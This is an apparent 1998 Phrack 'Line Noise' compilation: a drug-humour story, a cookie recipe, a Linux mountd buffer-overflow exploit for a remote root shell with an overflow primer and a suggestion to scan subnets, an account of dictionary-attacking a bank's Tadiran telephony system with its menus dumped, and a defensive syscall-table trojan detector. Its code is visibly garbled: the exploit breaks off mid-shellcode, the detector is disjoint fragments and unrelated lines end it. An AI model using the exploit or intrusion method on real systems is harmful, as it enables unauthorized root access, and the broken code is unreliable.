---[ Phrack Magazine Volume 8, Issue 54 Dec 25th, 1998, article 03 of 12

-------------------------[ P H R A C K 5 4 L I N E N O I S E

--------[ Various

0x1>-------------------------------------------------------------------------

The r00t/h4g1s peace summit - 1998

In a digital world marred by strife and conflict, it was only fitting that the two mega-super powers of the digital underground met for a peace conference somewhere they could partake of the peace pipe. Amidst the quaint silence of the fluttering windmills of Holland, the representatives of their respective parties settled in for a week of negotiations in the heart of Amsterdam.

Day 1: They paint fake flies (the flying kind, not the zipper kind) on the toilets in the Schlipteinheinekinoffien airport in Amsterdam, because, as we all know, hackers can't resist a good target. The next stop was to our official reception at the Hotel Ibis. I walked into the room, meeting face to face with 7 of the most notorious and feared hackers alive. My heart raced, and I felt all the sweat glands on my body release in one giant orgasmic instant. And then I started coughing...

Day 2: My throat severely scarred from the previous day of going to "coffee" shops and buying (legally) some marijuana with such names as "The Elite Buddha", and "Zero Day", we set out for some serious negotiations on the second day. Our mission was to create a truce, allowing the free transportation of our packets, unencumbered, unmodified, and unmonitored, across the Internet. H4g1s demanded r00t supply them with "-1 Day" in exchange for peace. r00t requested a "-1 day" from an Internet savvy street person who kept reminding us of our r00t brother, X. The street person, we'll call him Outlaw, showed us some pills, but they did not appear to be what h4g1s was looking for. So, we decided to move on. Outlaw, however, had other ideas. He wanted his 25 guilders to take his aspirin to X, apparently (For those of you unfamiliar, a guilder is the Netherlands unit of money, and roughly resembles monopoly money, except a guilder isn't really worth anything, whereas monopoly is fun!). We refused, and Chico got mad. He started telling us, "WE ARE GOING TO HAVE A PROBLEM SOON." After that, things were "STARTING TO GET VERY SERIOUS." Finally, Chico got pissed off and broke a beer bottle and started going insane, so r00t & h4g1s made a temporary truce and started running. After turning several corners, the mad outlaw was chasing after us with his broken glass wielding in the cold winter night. We were now in the "red light district", the physical equivalent to the place on the Internet where you can buy whores and have sex with them, and people were looking at us funny being chased through the streets.

Day 4: We slept through day 4.

Day 3: Things were getting very strange in Amsterdam. Most notably, day 3 happened AFTER day 4. Don't ask me how. It may have related to the fungus located within a "Inner Visions" container that we consumed in the hopes of progressing our talks further. We played some Ultima Online, except we didn't use any computers. I think there was a strange steakhouse experience at some point this day, but I can't provide any further details.

Day 5: Everything in the world is energy vibrating at different rates. If we can find some way to make our own matter vibrate at a consistently faster rate we can transcend the physical universe and enter the digital plane. I think we need to switch tenses back to the past before. With Outlaw out of the picture, we resumed our negotiations over some spacecakes (its like a brownie, or a muffin, or a donut, except it has Zero Day in it).

Day 6: I thought we ate all the shrooms in Day Pi! Ok, fine. Things are easier to handle when you have a vision. Vision is just a hallucination induced by energy waves bouncing around in your head. Your head is cool. COOL is a lame stock. EBAY is insanely overpriced. So are M3s. Mach 3's are cool razors. Razors are sharp. Sharp MD players are too thick. As is Mark's cock. And long!

-r00t & h4g1s

0x2>-------------------------------------------------------------------------

A CASE STUDY: LINUX MOUNTD STACK OVERFLOW

There is nothing new here, but the code is a text book example of how buffer overflows are done. Even if you have read other articles on buffer overflows you might find something of value in here. Or maybe not. The case studied is the Linux nfsd/mountd vulnerability mentioned in the CERT advisory on Aug 28.

nuuB

<++> linenoise/mountd-sploit.c /* * mountd-sploit.c - Sploit for Linux mountd-2.2beta29+ (and earlier). Will * give a remote root shell. * * Cleaned up, documented and submitted to Phrack on Sep 3 1998. * * I've included a quick primer on stack overflows and made lots of comments * in the code, so if you don't know how these stack overflow exploits work * take this opportunity to learn something. * * It is trivial to extend the code (or use scripting) to make something that * automatically scans subnets or lists of IPs to find vulnerable systems. * This is left as an exercise for the enterprising young hax0rs out there. * * You need the following RPC files for your particular architecture: * * nfsmount.h * nfsmountxdr.c * * These can be generated from 'mount.x' by the 'rpcgen' utility. I simply * lifted the files that came pre-generated with Linux 'mount'. These are * included uuencoded, but they may not work on your particular system. Don't * bug me about this. * * Compile with: * * cc mountd-sploit.c nfsmountxdr.c -o mountd-sploit * * Have fun, but as always, BEHAVE! * * /nuuB * */

/* A QUICK PRIMER ON STACK OVERFLOWS ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Read Aleph1's article in Phrack Issue 49 File 14 (P49-14) for a detailed explanation on how to write sploits (the examples are for Linux/i386 but the methodology is valid for any Unix, and can be applied to other OS's once you understand the technique). If you are targeting one of Bill's OS check out cDc #351: "The Tao of Windows Buffer Overflow" by DilDog.

The properties that we take advantage of are:

• The stack memory pages have the execute bit set

• The return address from functions are stored on the stack on a higher address than the local variables.

  MEMORY MAP

  -- Start of stack (i.e bottom of stack - top of memory) e.g 0xc0000000 -- <* return address *> -- Top of stack (lower memory address) e.g 0xbffff9c8 --

  THE OVERFLOW

  The trick is to overflow a local variable that is set through a function that doesn't check for overflows (strcpy, sprintf, etc). By supplying a (too) long string you can overwrite memory at higher addresses, i.e closer to the start of the stack. More specifically we want to overwrite <* return address *> with a pointer that points back into the stack that contains code we want executed. Getting the code on the stack is done by including it in the string we are overflowing with, or by placing it in an environment variable.

  The code can do anything you like, but the standard thing is to execve() a shell. There are often limitations on what the code can look like in order to be placed unmangled on the stack (length, touppper(), tolower(), NULL bytes, path stripping etc). It all depends on how the target program processes the input we feed it. Be prepared for some tinkering to avoid certain byte patterns and to make the code use PC/IP relative addressing.

  The overflow string (called the 'egg') is normally passed to the target program through command line arguments, environment variables, tcp connections or in udp packets.

  POSSIBLE COMPLICATIONS

  Sometimes you will destroy other local variables with your egg (depends on how the compiler ordered the variables on the stack). If you use a long enough egg you could also trash the arguments to the function. As your code isn't executed until the vulnerable function returns (not at the return of the function doing the actual overflowing, e.g strcpy()), you must make sure that the corrupted variables don't cause a crash before the return. This means that your egg probably has to be aligned perfectly, i.e only use one return pointer and preceed it with 'correct' values for the local variables you are trashing. Unfortuntely the ordering of the variables is often dependent on what compiler options were used. Optimization in particular can shuffle things around. This means that your exploit will sometimes have to target a particular set of options.

  Most of the time the trashing of other local variables isn't a problem but you may very well run into it some day.

  THE RETURN POINTER

  The only problem left is to guess the right address to jump to (i.e the return pointer). This is done either by trial and error or by examining the executable (requires you have access to a system identical to the target). A good way to get a reasonable starting value is to find out how much environment variables the target process has (hint: use 'ps uxawwwwwwwwe') and combine that with the base stack pointer (you can find that out with a one line program that shows the value of the stack pointer). To increase the chances of success it is customary to fill out the start of the egg with NOP opcodes, thus as long as the pointer happens to point somewhere in the egg before the actual code it will execute the NOPs then the code.

  That is all there is to it.

*/

/* * Now, back to our case study. * * Target: rpc.mountd:logging.c * * void Dprintf(int kind, const char fmt, ...) { * char buff[1024]; * va_list args; * time_t now; * struct tm *tm; * * if (!(kind & (L_FATAL | L_ERROR | L_WARNING)) * && !(logging && (kind & dbg_mask))) * return; * ... * vsprintf(buff, fmt, args); <-- This is where the overflow is done. * ... * if (kind & L_FATAL) * exit(1); * } <-- This is where our code (hopefully) gets executed * * This function is called from (e.g) mountd.c in svc_req() as follows: * * #ifdef WANT_LOG_MOUNTS * Dprintf(L_WARNING, "Blocked attempt of %s to mount %s\n", * inet_ntoa(addr), argbuf); * #endif * * Looks great (WANT_LOG_MOUNTS appears to be defined by default). Type * L_WARNING is always logged, and all we have to do is to try to mount * something we are not allowed to (i.e as long as we are not included in * /etc/exports we will be logged and get a chance to overflow). * * The only complication is the first %s that we will have to compensate for * in the egg (our pointers must be aligned correctly). * * We use 5 pointers to avoid problems related to how the compiler organized * the variables on the stack and if the executable was compiled with or * without -fomit-frame-pointer. * * 3 other local variables (size=34) + 1 frame-pointer + 1 return pointer = 5 * * Still plenty of room left for NOPs in the egg. We do have to make sure that * if the 3 other variables are trashed it won't cause any problems. Examining * the function we see that 'now' and 'tm' are initialized after the vsprintf() * and are thus not a problem. However there is a call 'vaend(args)' to end * the processing of the ellipsis which might be a problem. Luckily this is * a NOP under Linux. Finally we might have trashed one of the arguments * 'kind' or 'fmt'. The latter is never used after the vsprintf() but 'kind' * will cause a exit(1) (bad!) if kind&LFATAL is true (L_FATAL=0x0008). * Again, we are in luck. 'kind' is referenced earlier in the function and in * several other places so the compiler has gratiously placed it in a register * for us. Thus we can trash the arguments all we want. * * Actually, if you examine the executables of mountd in the common distros * you will find that you don't have to trash any variables at all as 'buffer' * is placed just before the frame pointer and the return address. We could * have used a simple egg with just one pointer and this would have worked * just as well in practise. * * All this 'luck' is in fact rather common and is the reason why most buffer * overflows are easy to write so they work most of the time. * * Ok. Delivery of the egg is done through the RPC protocol. I won't go into * details here. If you are interested, get the sources for the servers and * clients involved. Half the fun is figuring out how to get the egg in place. * * The last piece of the puzzle is to keep shoveling data from the local * terminal over the TCP connection to the shell and back (remember that * we used dup2() to connect the shell's stdout/in/err to the TCP connection). * * Details below. */

include

include

include

include

include

include

include

include

include

include

include

include

include

include "nfsmount.h"

/* * First we need to write the code we want executed. * * C0de: setreuid(0, 0); fork(); dup2(0, 1); dup2(0, 2); execve("/bin/sh"); * * setreuid() is probably not necessary, but can't hurt. * * fork() is done to change pid. This is needed as someone - probably the * portmapper - sends signals to mountd (the shell has no handlers for these * and would die). * * The dup2()'s connect stdout/stderr to the TCP socket. * * The code assumes 'mountd' communicates with the client using descriptor * zero. This is the case when it is started as a daemon, but may not be so if * it is launched from inetd (I couldn't be bothered to test this). The * dup2()'s may need to be changed accordingly if so. * * For Linux/i386 we would get: */

if 0

void c0de() { asm( "jmp .getstringaddr\n\t" /* Trick to get address of our string */ ".d01t:\n\t"

  "xorl %eax,%eax\n\t"
  "movl %eax,%ebx\n\t"  /* ruid=0 */
  "movl %eax,%ecx\n\t"  /* euid=0 */
  "movb $0x46,%eax\n\t" /* __NR_setreuid */
  "int $0x8

0x3>-------------------------------------------------------------------------

Eleet ch0c0late ch1p co0kies

by Juliet

The chocolate chip cookies is an old exploit. You can use it to bribe your teachers, sysadmins, bosses, even feds. Never underestimate the cookie. Picture this.. little girlie walks up to you in the NOC.. offers you a home-baked chocolate chip cookie! She must be someone's secretray.. or something.. wow she sure fooled you.. anyway.. bake them.. they are good.. DO NOT substitue ingrediants.. other than like M&M's for chocolate chips..

1 cup (packed) golden brown sugar 1/2 cup sugar 1/2 cup solid vegetable shortening, room temperature 1/2 cup (1 stick) unsalted butter, room temperature 2 large eggs 1 tablespoon vanilla extract 3 cups all purpose flour 1 teaspoon baking soda 1 teaspoon salt 1 12-ounce package semisweet chocolate chips

Preheat oven to 350F. Using electric mixer, beat both sugars, shortening and butter in large bowl until light and fluffy. Beat in eggs and vanilla. Mix flour, baking soda and salt in large bowl. Add dry ingredients to butter mixture and mix until blended. Stir in chocolate chips.

Drop dough by heaping tablespoonfuls onto heavy large baking sheets, spacing 2 inches apart. Bake until golden brown, about 12 minutes. Transfer baking sheets to racks; cool 5 minutes. Transfer cookies to racks; cool completely.

Makes about 42 cookies.. or you can make ONE BIG pan cookie

0x4>-------------------------------------------------------------------------

      - Tadiran; Computer Telephony Integration (CTI) -
            Blakboot <blakboot@darkcartel.com>

Introduction

Hello everyone. This article is primarily about Tadiran Telecommunications software and hardware used to syncronize computer applications with phone calls. I will be refering to system version 9.63.03.01 and any variants as just Tadiran. From firsthand experiences with this type of system I've found that they can be configured to do many things, from trunk timers to on hold music.

Although a very powerful system, the Tadiran lacks basic security. This is a no no, especially when it provides worldwide technologies for all types of industries, including banking.

The issue of lack of security is mainly why I wanted to write this article. The Tadiran is very much open to intrusion.

How it began

A phreak friend of mine, Mf-Man, and I were scanning for loops, we found a carrier. We took a short look at the system for a while, until our interests waned and took us elsewhere..

Months later, bored, I dialed into the system, with plans of throwing a dictonary file at it at steady pace (Tadiran, only requires a password for authentication).

So, I just sat back, and waited... After a long while, to my gleeful surprise, it cracked! I (like many others before me) did that zealous happy dance.

This system, Tadiran, is rather cryptic without documentation. Even still, I managed to dig up some interesting info. This system I managed to get into was that of a CTI system from a well known bank. The major flaws thus far (I plan to write a more in depth article):

* Unlimited password attempts.
* No login names.
* A password prompt that responds, well, promptly.

What follows are some screen shots of the Tadiran system.

The system

Password prompt: ENTER PASSWORD
Bad password Msg.: ILL PASSWORD , TRY AGAIN ! System prompt: *: Enviroment: Tree menus; menus branch from root, and so on.

        -This the root menu, the menu sent upon login.-

(ROOT) CCS 9.63.03.01 SMDI & 24SDT
Copyright (c) 1991-1997 Tadiran Telecommunications Ltd. NAME - xxxxxxxxx
SAU # - xxxx
0-CONFIG 1-DIAGN 2-TABLES 3-ADMIN 4-ROUTING/COST 5-ISDN 6-DATA 7-CoraLINK 8-NETWORK 9-HELP

  Any of the menus/options can be choosen by number, or name.

Control keys: ^C / ESC ------ Go back 1 menu.

          ^T  ------  Displays account and system information.
             EXAMPLE:

                    CCS: xxxxxxxx  xxx-xx-1998 10:48pm  
                    Terminal No.: 4,  Password level: 0  
                    Software Version:   9.63.03.01     SMDI & 24SDT

          ^P  ------ Relogin.

/* There are others--they seem have something to do with emulation, and scrolling. *\

Menu descriptions - ment for reference.

This is a list of globally accessable menus, available by typing, "HELP"
<Note> I've "x"'d out all group names from the orignal system this information was recovered from.

PI MESSAGES =(MSG) FEAT. & AUTH. =(FEAT) SMDR CONTROL = (SMDR) 47/8T CARDDB =(TKDB) FEATURE TIMERS=(FE.T) STATION TIMERS =(ST.T) ALT ROUT TK.GRP=(ROUT) GROUPS =(GROUP) SYSTEM GEN. =(SYSGEN) xxxx/xxx GROUP =(xxxx) xxxxxxx GROUP =(xxxx) SYS FEATURES = (SFE) xxxx GROUP =(xxxx) IST/SLT CARDDB=(STDB) SYS TIME SET-UP=(TIME) BUSY PORTS =(BUSY) IST/SLT DEF. =(SLT) TERMINAL SET-UP=(TERM) CARD DATA-BASE = (CDB) LCR/ROUTING =(LCR) TOLL BARRIER =(TOLL) CARD LIST =(CLIS) xxxxxxxxx =(xxx) TONE PLAN = (TON) CLASS OF SERVICE=(COS) xxxxxxxxxxxxx=(xxxxx) TRUNK DEFINITION=(TRK) COSTCALC. =(COST) NUMBERING PLAN =(NPL) TRUNKGROUP =(TKGP) DATA SERVICES =(DATA) PICKUP GROUP =(PICK) TRUNK GRP DEF =(TGDEF) xxxx CARD DB =(DIDB) PORT DATABASE =(PDB) TRUNK PORTS =(TRUNK) xxx/xxx GROUP =(DIDG) PORT LIST =(PLIS) TRUNK TIMERS =(TK.T) DIGITAL TRUNK =(DTDB) PREFERENCE =(PREF) WAKEUP =(WAKEUP) KEY DEFINITION = (KEY) DIGITAL BUS LIST=(DLIS) ZONED GROUP =(VPZ) KEY PROGRAMING =(PROG) RINGER P.S. =(RPS) VFAC =(VFAC) KEYSET TIMERS =(EK.T) SIZES DEF =(SIZ) GROUP CALL =(CALL)

PI MESSAGES - Terminal setup, diag/stim. 47/8T CARDDB - Card information. Example: LSRINGPAUS (sec)- 5
GSRINGPAUS (sec)- 1
O/G BREAKTIME(ms)- 60
O/G MAKETIME (ms)- 40
O/G INTERDGTT(ms)- 800
GSDISCONNECT (ms)- 800
METER (4TMR) : f0 (0=16K,1=12K,2=50Hz)- 0
f0 ACCURACY +/-(1-10)% - 3
METERAFTER_DISCONNECT (Y/N) - N

ALT ROUT TK.GRP - Add, display, update, or remove trunk group. BUSY PORTS - Displays what ports are busy. CARD DATA-BASE - List many submenus of card, in which you may get/update CARD LIST - EXAMPLE: shelf#/slot# ptype itype carddb# vers/subver status 0 / 1 NOCARD NOCARD --- --- --- ------
0 / 2 8DTR/S NOCARD --- 17 8 ACTIVE
0 / 3 T1 T1 1 14 38 ACTIVE

CLASS OF SERVICE - ST/TK, and ATT show all kinds of information on trunk control. TENANTS deals with group access. COSTCALC. - Information about costs for certain services, at various times. DIGITAL TRUNK - Card/trunk information, configuration, channel signaling. KEY DEFINITION - Telephone configuration EXAMPLE: prmcos- 1 seccos- 1 privlibs- 12 terminal- N origin- N block- N o/gtkrest- N privacy- Y exclhold- N hardhold- N lastnum- Y security- N att- Y autounatt-N passcode- NONE checkout- N multiapp- Y m.a.mutering-Y mutering- Y
autoans- N idledisp.-Y keyclick- Y music- Y musicnum- 0 vpagein- Y autoansvp- Y autohld/xfer/off-1 spkron/off-Y blindatt- N pcc- Y pcacd- N mic- Y combaudio-N displaysize- NODSP language-DEFAULT
butnum- 2 ksi- N ksitype- 0 eis- N sendid- Y ali- NONE aoc-edisplay-N alertmakecall-N active dpem id's- NONE installed dpems- 1 dkt: spkrenvironment- 1 musicon_hold - 0

KEYSET TIMERS - EXAMPLE: 1 unit = 0.1 sec.

                    AUTO_ANSWER     -    10  
                    AUTO_ANS_V_PAGE -    10  
                    TONE_TO_IDLE    -    10  
                    AOC-E_DISPLAY   -   300  
                    MUTE_RING       -    50

FEAT. & AUTH - Authorizations, and system features. Check here to see if Call trace OR caller ID is active.

FEATURE TIMERS - This is a bit interesting. EXAMPLE: * (1 unit =1.0 sec) * (1 unit =0.1 sec) *(1 unit =0.01 sec) *AUTO_REDIAL- 30
*REMIND_SNOOZE- 60
*WAKEUP_SNOOZE- 60
*WAKEUPRING - 300
**NETFEATUREACK- 40
**SUSPOFFHK- 5
BELLRING: **ONBELL - 10
*OFF_BELL - 20
*ATT.MSG- 50
*EXPENSIVE_ROUTE_TONE - 10
*RING- 100
*SUPV_RECALL- 3600
*CONFSUPVRECALL- 1800
*BREAK_IN/OUT- 10
BREAKIN_WARNING: *ON - 1
**OFF - 20

GROUPS - List of submenus, of groups. IST/SLT CARDDB - Ring information. IST/SLT DEF. - Slot of line info. EXAMPLE:
prmcos- 0 seccos- 0 privlibs- 3 terminal- N origin- N block- N o/gtkrest-N privacy- Y exclhold-N hardhold- N lastnum- Y security- N att- N autounatt-N passcode- NONE checkout- N type- 1 announcer- N multiapp- N sendid- Y ali- NONE opx- N hfrelevant-Y musiconhold-0

LCR/ROUTING - Libraries, update, or display. NUMBERING PLAN - Lines, and there features: UPDATE, DISPLAY, ADD, REMOVE, or SHOW

STATION TIMERS - EXAMPLE: 1 unit = 0.1 sec. RING- 450
MULTAPRRING- 200
BUSY- 1200
REORDER- 50
CONFIRM- 30
DVMS- 200
HOLD- 6000
HARDHOLD- 1200
PARK- 1200
PAGEQ- 600
1stDGT - 100
INTERDGT- 150
FEATDIAL- 700
HKFLSFILTER- 10
MAGNETOAUTOANS- 30
CFNO_ANS- 200

SYSTEM GEN - MENU: (SYSGEN) 0-INSTALL 1-SIZESDEF 2-SIZESTAB 3-SPEEDCALLS (MCC only) 4-MUSIC 5-TIMESLOTS (4GC only) 0-TRUNKCALLSOUTGOING

SYSTEM FEATURES - Trunkcallsincoming, stationoptions, intercept/ incomplete, callforwarding, campon, hotel,messaging, tones, diagnosrics, ISDN, network, and wireless TONE PLAN - EXAMPLE: ~~~~~~~~ NO NAME TYPE #SEG 1TN Msec 2TN Msec 3TN Msec 4TN Msec 5TN Msec 6TN Msec 0 Busy 3 2 3 500 0 500 0 0 0 0 0 0 0 0 1 Dial 1 0 1 0 0 0 0 0 0 0 0 0 0 0 2 Distinct. 1 0 4 0 0 0 0 0 0 0 0 0 0 0 3 Reorder 3 2 3 240 0 240 0 0 0 0 0 0 0 0 4 Ringback 3 2 2 2000 0 4000 0 0 0 0 0 0 0 0 5 Silence 1 0 0 0 0 0 0 0 0 0 0 0 0 0 6 Tick 3 2 5 60 0 1000 0 0 0 0 0 0 0 0 8 Confirm 3 2 1 100 0 100 0 0 0 0 0 0 0 0 9 BRKIn/Out 1 0 5 0 0 0 0 0 0 0 0 0 0 0 11 V.P Conf 3 2 3 100 5 100 0 0 0 0 0 0 0 0 12 Z.P Warn 3 2 6 300 3 100 0 0 0 0 0 0 0 0 14 LCRexpens 2 6 0 120 5 80 0 120 5 80 0 120 5 80 15 LCRcheap 2 4 0 120 5 80 0 120 5 80 0 0 0 0 16 Call Wait 3 4 5 600 0 5000 0 5000 0 5000 0 0 0 0 17 DISA Dial 1 0 1 0 0 0 0 0 0 0 0 0 0 0

TRUNK DEFINITION - EXAMPLE: DISA (0-NO /1-IMMED. /2-DELAY)- 0
COS.- 10
TKTIMER#- 1
TYPE (0-PULSE /1-DTMF /2-MIX)- 1
I/CONLY-N
O/GONLY-N
BUSYOUT-N
AUTOGUARD-N
HOTIMMED-N
HOTDELAY-N
DROPNODIAL-N
RSRVDTO- NONE
CALLERIDTIMEOUT - 50
TRUNK TIMERS - EXAMPLE: H.FLASH(10ms)- 67
INCOMING : E&MSEIZETOWINK- 1
E&MCONTWINKTIME- 2
OUTGOING : E&MCONTWINK/SGDELAY- 1
SEIZETODIAL- 15
SECONDDIAL_TONE- 60

VFAC - Account maintance. - Requires password.

---The ones that I didn't list were either self-explanitory, or N/A

0x5>-------------------------------------------------------------------------

b t r o m b y r i q

"trojan eraser or i want my system call table clean"

i n t r o d u c t i o n

The other day, I started to play with the itf that appeared in P52-18 (read that article if you want to know what it does, etc). It occured to me one good way to determine if someone has installed the trojan (and to subsequently remove it) is by fixing the system call table. This program tries to do that. This works with the the linux x86 2.0 and 2.2 series.

i n t e r n a l s

The program first attempts to detect if you are using a BIGKERNEL (a bzImage) or not (a zImage). One of the differences is the address of the kernel in memory. BIGKERNEL starts at 0xc0000000 while the other starts at 0x00100000.

The system call table (sct) has the entries of all the system calls. If you modify the sct, the new entry must be `out of range'. btrom will try to fix these `out of range' system calls with their original values. They are taken from the System.map. What i mean with "`out of range'" is an entry that has a value out of the startofthekernel and thestartofthekernel + somevalue. This value is in the config.h

q u i c k i n s t a l l

compile:

1) edit config.h and Makefile. Modify it if you want. $ vi config.h $ vi Makefile

2) make $ make

use:

1) be root $ su -

2) install the module mbtrom # insmod mbtrom

3) run btrom # ./btrom nrmbtrom_ [options]

4) uninstall the module mbtrom # rmmod mbtrom

c h a c h a r a

1st part: detect trojans legends [ ] this is ok. dont worry [N] this is a null enter in the system call table. dont worry. [-] this is the entry of the module mbtrom. dont worry. [?] this entry has a system function, but it was supposed to be null. worry [*] this is probably a trojan in a reserved space. worry. [!] this is probably a trojan in a not reserved space. worry.

2nd part: clean trojans legends press 's' to fill this entry with the System.map's value. press 'c' to clean this entry. it will be filled with a null entry. press 'm' to put in this entry a manual hexa address. press 'i' to ignore, skip, what you want.

fseek(sm,0L,SEEK_SET);
while( fgets(buffer,200,sm) ) {
    if( fnmatch(estoy,buffer,0)==0 ) {
        strncpy(sys_add,buffer,8);
        sys_add[8]=0;
        *address = strtoul(sys_add,(char **)NULL,16);
        return 1;
    }
}
return 0;

sprintf(nombre,"*T sys_%s\n",estoy);
return sm_b_x_nom(address, nombre);

j=i=0;
while( orig[i]!='_' )
    i++;
i=i+5;
while( orig[i]!=' ' && orig[i]!='\t' ) 
    dst[j++]=orig[i++];
dst[j]=0;

/* FIXME: ?sera mas efectivo regexec() que fnmatch()? */
sprintf(buscar,AU_PREFIX"%i*",numero);
while( fgets(buffer,200,au) ) {
    if( fnmatch(buscar,buffer,0)==0 ) {
        au_dame_el_nombre(nombre,buffer);   
        return 1;
    }
}
/* No encontre... entonces una segunda pasada */
fseek(au,0L,SEEK_SET);
while( fgets(buffer,200,au) ) {
    if( fnmatch(buscar,buffer,0)==0 ) {
        au_dame_el_nombre(nombre,buffer);   
        return 1;
    }
}
return 0;

/* i!=0 porque el asm/unistd del kernel 2.2 no viene */
if( i!=0 && au && au_busca_x_numero(nombre,i)) {
    if( retval > big_kernel + LIMITE_SYSCALL ) {
        *c = '*' ;
        clean++;
    } else
        *c = ' ';
} else {
    if( retval > big_kernel+LIMITE_SYSCALL ) 
        *c = '!';
    else 
        *c = '?';
    clean++;
}
if(i==j) {              /* modulo btrom */
    *c='-';
    clean=a;
} else if(retval==SYS_NULL || retval==0) {/* Null pointer */
    *c='N'; 
    clean=a;
}
return clean;

old_clean=clean=0;
printf( "\n1st part: Detect trojans\n"  
    "                     [ ]=OK [N]=Null [-]=btrom\n"
    "                             [?] Mmm...syscall\n"
    "        Address          [*][!]=trojan routine\n"
    "  now   System.map Num [ ] Syscall Name\n"
    "----------------------------------------------\n");

for( i=0; i< NR_syscalls; i++ ){
    __asm__ volatile (
        "int $0x80":"=a" (retval):"0"(j),
        "b"((long) (i)),
        "c"((long) (0)),
        "d"((long) (0)));

    clean = comun_1er_2da(j,i,nombre,&c,clean,retval);
    if( !quiet || clean > old_clean ) {
        if( nombre[0]!=0 ) {
            if( sm && sm_busca_x_nombre(&address,nombre)) {
                if(retval!=address && retval < big_kernel + LIMITE_SYSCALL) {
                    dif_n_s++;
                    printf("%8x!%8x %3i  [%c] %s\n",retval,address,i,c,nombre);
                } else printf("%8x %8x %3i  [%c] %s\n",retval,address,i,c,nombre);
            } else printf("%8x          %3i  [%c] %s\n",retval,i,c,nombre);
        } else printf("%8x          %3i  [%c]\n",retval,i,c);
        old_clean = clean;
    }
}
return clean;

old_clean=clean=0;
printf( "\n2nd part: Clean Trojans\n"
    "                 s = System.map address\n"
    "                      c = clean address\n"
    "                     m = manual address\n"
    "                             i = ignore\n"
    "  now   System.map Num [ ] Syscall Name\n"
    "---------------------------------------\n");

for( i=0; i< NR_syscalls ; i++ ){
    __asm__ volatile (
        "int $0x80":"=a" (retval):"0"(j),
        "b"((long) (i)),
        "c"((long) (0)),
        "d"((long) (0)));

    clean = comun_1er_2da(j,i,nombre,&c,clean,retval);
    if( clean > old_clean ) {
        if( nombre[0]!=0 ) {
            if( sm && sm_busca_x_nombre(&address,nombre)) {
                if(retval!=address && retval < big_kernel + LIMITE_SYSCALL) {
                    dif_n_s++;
                    printf("%8x!%8x %3i  [%c] %s <s/c/m/I>?",retval,address,i,c,nombre);
                } else printf("%8x %8x %3i  [%c] %s <s/c/m/I>?",retval,address,i,c,nombre);
            } else printf("%8x          %3i  [%c] %s <c/m/I> ?",retval,i,c,nombre);
        } else printf("%8x          %3i  [%c] <c/m/I> ?",retval,i,c);
        old_clean = clean;

        fseek(stdin,0L,SEEK_END);
        key=fgetc(stdin);
        switch(key) {
            case 's':
                k = address;
                break;
            case 'c':
                k = SYS_NULL;
                break;
            case 'm':
                printf("Enter an hexa address (ex: 001a1b):");
                fseek(stdin,0L,SEEK_END);
                fgets( dire,50,stdin );
                k = strtoul(dire,(char **)NULL,16);
                break;
            default:
                k=1;
                break;
        }
        /* FIXME: 1 no se puede poner como address */
        if(k!=1)
            __asm__ volatile (
                "int $0x80":"=a" (retval):"0"(j),
                "b"((long) (i)),
                "c"((long) (1)),
                "d"((long) (k)));
    }
}
return clean;

if(parametros[0]!='-') help();

for(j=1;j<i;j++) {
    switch(parametros[j]) {
        case 'c':
            borrar = 1;
            break;
        case 'v':
            quiet = 0;
            break;
        default:
            help();
    }
}

printf( "\n\n"
    "b t r o m                          b y   r i q\n"
    "v"VERSION"\n");

if(argc <2 || argc >3 ) help();

quiet = 1; borrar = 0 ;
if( argc==3) chequear_argumentos(argv[2]);

au = au_open();
sm = sm_open();
if(!au && !quiet)   
    printf("Error while opening `asm/unistd.h' in `"ASM_UNISTD"'\n");
if(!sm && !quiet)   
    printf("Error while opening `System.map' in `"SYSTEM_MAP"'\n");

dif_n_s=0;


/* __NR_mbtrom number */
i = atoi( argv[1] );
if(!i)
    help();

/* Chequeo si es BIG_KERNEL o no */
__asm__ volatile (
    "int $0x80":"=a" (retval):"0"(i),
    "b"((long) (0)),
    "c"((long) (2)),
    "d"((long) (0)));

big_kernel =(retval>BIG_KERNEL?BIG_KERNEL:SMALL_KERNEL);

/* Primer recorrida */
clean = primer_recorrida( i );

/* Mensaje del senior btrom */
printf( "\nb t r o m   s a y s:\n");
if(dif_n_s>0) {
    printf( "Your System.map seems to have a problem.\n");
    if(dif_n_s<SYSMAP_LIMIT)
        printf( "Wait. Perhaps this is not a System.map problem,\n"
            "but something related with the new functions names.\n"
        );
    else
        printf( "Are you sure that you have a valid System.map ?\n");
    if(clean)
        printf( "Oh no! The problem is the trojan that you have ;-)\n");
}   


if(!clean) {
    printf( "You system call table seems to be clean.\n");
    if(quiet)
        printf("If you want to be more sure use the `-v' option\n");
} else {
    printf( "\nWhat do you want to do with the trojan?\n"
        "What about cleaning it with `btrom _numero_ -c'?\n" );
}


/* Ah borrar los troyanos se ha dicho */
if(borrar && clean) {
    if(au)
        fseek(au,0L,SEEK_SET);
    if(sm)
        fseek(sm,0L,SEEK_SET);

    segunda_recorrida( i );
}


if(au)
    fclose(au);
if(sm)
    fclose(sm);

return 0;

/* Chequea direccion vacia desde NUMERO_VACIO hasta 0 */
while ( __NR_mbtrom!= 0 &&
    sys_call_table[__NR_mbtrom] != 0 &&
    sys_call_table[__NR_mbtrom] != (void *)SYS_NULL )
    __NR_mbtrom--;
if(!__NR_mbtrom ) { /* Si es 0 me voy */
    printk("mbtrom: Oh no\n");
    return 1;
}

sys_call_table[__NR_mbtrom] = (void *) funcion;


if( __NR_mbtrom != NUMERO_VACIO )
    printk("mbtrom: Mmm...\n");
printk("mbtrom: -> %i <-\n",__NR_mbtrom);
return 0;

None of you suckers.  Go rent it.  It's well worth your time.

"I have John Murdock...  In mind..."